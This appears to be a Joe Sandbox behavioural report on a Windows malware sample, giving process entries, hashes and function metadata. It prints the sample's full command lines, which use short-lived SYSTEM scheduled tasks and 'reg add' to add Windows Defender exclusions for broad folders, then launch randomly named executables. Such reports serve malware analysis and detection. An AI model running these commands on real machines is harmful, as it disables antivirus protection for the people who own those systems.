MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:23:06
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:23:06
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:23:06
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff62bed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:23:06
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:23:06
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:23:06
Start date:	14/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff7fbb20000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:23:07
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff62bed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:23:07
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:23:07
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:23:07
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:23:07
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff62bed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:23:07
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:23:07
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:23:07
Start date:	14/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff7fbb20000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:23:08
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff62bed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:23:08
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:23:08
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:23:08
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:23:08
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff62bed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:23:08
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:23:08
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:23:08
Start date:	14/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff7fbb20000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:23:09
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff62bed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:23:09
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:23:09
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	22:23:09
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Run /TN "Task1"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	22:23:09
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff62bed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	22:23:09
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:23:09
Start date:	14/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:23:09
Start date:	14/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff6ec4b0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	22:23:39
Start date:	14/01/2025
Path:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Imagebase:	0xc30000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	22:23:41
Start date:	14/01/2025
Path:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Imagebase:	0xc30000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	22:23:42
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c echo.>c:\xxxx.ini
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	22:23:42
Start date:	14/01/2025
Path:	C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Imagebase:	0xb00000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	22:23:42
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	22:23:44
Start date:	14/01/2025
Path:	C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Imagebase:	0xb00000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	22:24:01
Start date:	14/01/2025
Path:	C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Imagebase:	0xb00000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	22:24:01
Start date:	14/01/2025
Path:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Imagebase:	0xc30000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	22:24:08
Start date:	14/01/2025
Path:	C:\Program Files (x86)\yKOHid\5fuoTf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\yKOHid\5fuoTf.exe"
Imagebase:	0xe30000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	22:25:00
Start date:	14/01/2025
Path:	C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Imagebase:	0xb00000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	22:25:00
Start date:	14/01/2025
Path:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Imagebase:	0xc30000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	22:26:00
Start date:	14/01/2025
Path:	C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe"
Imagebase:	0xb00000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	22:26:00
Start date:	14/01/2025
Path:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\vtAIyr\vtAIyr.exe"
Imagebase:	0xc30000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	32%
Total number of Nodes:	462
Total number of Limit Nodes:	7

Executed Functions

Function 0000000140006C95 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 260
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 0000000140006FA2
@, xrefs: 0000000140006D6C

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction ID: b9b90cad4d4dbad5e60228b5b2812afcd9ff4e9267d7912497f5da913a33a31e
Opcode Fuzzy Hash: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction Fuzzy Hash: 0EE19876619B84CADBA1CB19E4807AAB7A1F3C8795F105116FB8E87B68DB7CC454CF00

Function 00000001400073E0 Relevance: 1.6, APIs: 1, Instructions: 121
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00000001400073E2

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction ID: 9a2124daaedac402c784edcfb7064d0c1467828d98a6eaf5875e1b487be58861
Opcode Fuzzy Hash: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction Fuzzy Hash: 2451A676619BC582DA71CB1AE4907EEA360F7C8B85F504026EB8E87B69DF3DC455CB00

Function 0000000140005DF3 Relevance: 54.3, APIs: 3, Strings: 28, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0000000140005F30
malloc.MSVCRT ref: 0000000140005FD3
ReadFile.KERNELBASE ref: 0000000140006016

Strings

s, xrefs: 0000000140005F5F
c, xrefs: 0000000140005F69
t, xrefs: 0000000140005F73
c, xrefs: 0000000140005FAA
., xrefs: 0000000140005F78
M, xrefs: 0000000140005E99
s, xrefs: 0000000140005EC9
m, xrefs: 0000000140005F91
t, xrefs: 0000000140005EF1
M, xrefs: 0000000140005EA9
d, xrefs: 0000000140005EE1
., xrefs: 0000000140005ED9
a, xrefs: 0000000140005EE9
v, xrefs: 0000000140005F64
s, xrefs: 0000000140005EA1
m, xrefs: 0000000140005F5A
i, xrefs: 0000000140005EC1
l, xrefs: 0000000140005F9B
L, xrefs: 0000000140005EB9
o, xrefs: 0000000140005FA5
d, xrefs: 0000000140005F7D
l, xrefs: 0000000140005F82
l, xrefs: 0000000140005FA0
t, xrefs: 0000000140005ED1
r, xrefs: 0000000140005F6E
l, xrefs: 0000000140005F87
p, xrefs: 0000000140005EB1
a, xrefs: 0000000140005F96

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: File$CreateReadmalloc
String ID: .$.$L$M$M$a$a$c$c$d$d$i$l$l$l$l$m$m$o$p$r$s$s$s$t$t$t$v
API String ID: 3950102678-3381721293
Opcode ID: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction ID: 29f707ba186f29322d2427d6251999ac740dd2877dad0e4ee3b4d54c0b8fffc7
Opcode Fuzzy Hash: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction Fuzzy Hash: 0241A03250C7C0C9E372C729E45879BBB91E3A6748F04405997C846B9ACBBED158CB22

Function 00007FFE1A521C00 Relevance: 12.2, APIs: 8, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE1A521C28
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE1A521C7A
_RTC_Initialize.LIBCMT ref: 00007FFE1A521CA8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE1A521CCE
__scrt_release_startup_lock.LIBCMT ref: 00007FFE1A521CF9

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction ID: 6773b2ad9367cda5cd586e1e2b97c7fae3f755000b968a3ccc71c4fb11416b01
Opcode Fuzzy Hash: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction Fuzzy Hash: 24817C39F0CF43C5F6549BA7A8412BA2692BF97FA0F5480F7E90C476B6DE3CA5458600

Function 00007FFE1A521720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNEL32 ref: 00007FFE1A521753
FreeLibrary.KERNEL32 ref: 00007FFE1A521981

Part of subcall function 00007FFE1A521B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE1A521BC0
